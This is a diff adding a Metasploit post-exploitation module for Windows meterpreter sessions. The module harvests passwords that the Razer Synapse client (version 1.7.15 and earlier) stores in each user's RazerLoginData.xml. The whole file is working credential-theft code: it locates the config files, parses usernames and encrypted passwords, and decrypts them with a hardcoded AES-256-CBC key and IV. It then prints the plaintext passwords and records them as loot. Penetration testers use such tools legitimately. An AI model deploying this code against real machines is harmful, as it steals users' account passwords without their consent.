1
+ ##
2
+ # This file is part of the Metasploit Framework and may be subject to
3
+ # redistribution and commercial restrictions. Please see the Metasploit
4
+ # web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/
6
+ ##
7
+
8
+ require 'msf/core'
9
+ require 'rex'
10
+ require 'msf/core/post/common'
11
+ require 'msf/core/post/windows/user_profiles'
12
+ require 'openssl'
13
+
14
+ class Metasploit3 < Msf ::Post
15
+
16
+ include Msf ::Post ::Common
17
+ include Msf ::Post ::Windows ::UserProfiles
18
+
19
+ def initialize ( info = { } )
20
+ super ( update_info ( info ,
21
+ 'Name' => 'Razer Synapse Password Extraction' ,
22
+ 'Description' => %q{
23
+ This module will enumerate passwords stored by the Razer Synapse
24
+ client. The encryption key and iv is publicly known. This module
25
+ will not only extract encrypted password but will also decrypt
26
+ password using public key. Affects version 1.7.15 and earlier.
27
+ } ,
28
+ 'License' => MSF_LICENSE ,
29
+ 'Author' =>
30
+ [
31
+ 'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>' ,
32
+ 'Matt Howard "pasv" <themdhoward[at]gmail.com>' , #PoC
33
+ 'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
34
+ ] ,
35
+ 'SessionTypes' => [ 'meterpreter' ] ,
36
+ 'Platform' => [ 'win' ] ,
37
+
38
+ ) )
39
+ end
40
+
41
+ # decrypt password
42
+ def decrypt ( hash )
43
+ cipher = OpenSSL ::Cipher ::Cipher . new 'aes-256-cbc'
44
+ cipher . decrypt
45
+ cipher . key = "hcxilkqbbhczfeultgbskdmaunivmfuo"
46
+ cipher . iv = "ryojvlzmdalyglrj"
47
+
48
+ hash . each_pair { |user , pass |
49
+ pass = pass . unpack ( "m" ) [ 0 ]
50
+
51
+ password = cipher . update pass
52
+ password << cipher . final rescue return nil
53
+
54
+ store_creds ( user , password . split ( "||" ) [ 1 ] )
55
+ print_good ( "Found credentials" )
56
+ print_good ( "\t User: #{ user } " )
57
+ print_good ( "\t Password: #{ password . split ( "||" ) [ 1 ] } " )
58
+ }
59
+ end
60
+
61
+ def store_creds ( user , pass )
62
+ if db
63
+ report_auth_info (
64
+ :host => client . sock . peerhost ,
65
+ :port => 443 ,
66
+ :ptype => 'password' ,
67
+ :sname => 'razer_synapse' ,
68
+ :user => user ,
69
+ :pass => pass ,
70
+ :duplicate_ok => true ,
71
+ :active => true
72
+ )
73
+ vprint_status ( "Loot stored in the db" )
74
+ end
75
+ end
76
+
77
+ # Loop throuhg config, grab user and pass
78
+ def parse_config ( config )
79
+ if not config =~ /<Version>\d <\/ Version>/
80
+ creds = { }
81
+ cred_group = config . split ( "</SavedCredentials>" )
82
+ cred_group . each { |cred |
83
+ user = /<Username>([^<]+)<\/ Username>/ . match ( cred )
84
+ pass = /<Password>([^<]+)<\/ Password>/ . match ( cred )
85
+ if user and pass
86
+ creds [ user [ 1 ] ] = pass [ 1 ]
87
+ end
88
+ }
89
+ return creds
90
+ else
91
+ print_error ( "Module only works against configs from version < 1.7.15" )
92
+ return nil
93
+ end
94
+ end
95
+
96
+ # main control method
97
+ def run
98
+ grab_user_profiles ( ) . each do |user |
99
+ if user [ 'LocalAppData' ]
100
+ accounts = user [ 'LocalAppData' ] + "\\ Razer\\ Synapse\\ Accounts\\ RazerLoginData.xml"
101
+ # open the file for reading
102
+ config = client . fs . file . new ( accounts , 'r' ) rescue nil
103
+ next if config . nil?
104
+ print_status ( "Config found for user #{ user [ 'UserName' ] } " )
105
+
106
+ contents = config . read
107
+ config . close
108
+
109
+ # read the contents of file
110
+ creds = parse_config ( contents )
111
+ if creds
112
+ decrypt ( creds )
113
+ else
114
+ print_error ( "Could not read config or empty for #{ user [ 'UserName' ] } " )
115
+ end
116
+ end
117
+ end
118
+ end
119
+ end
0 commit comments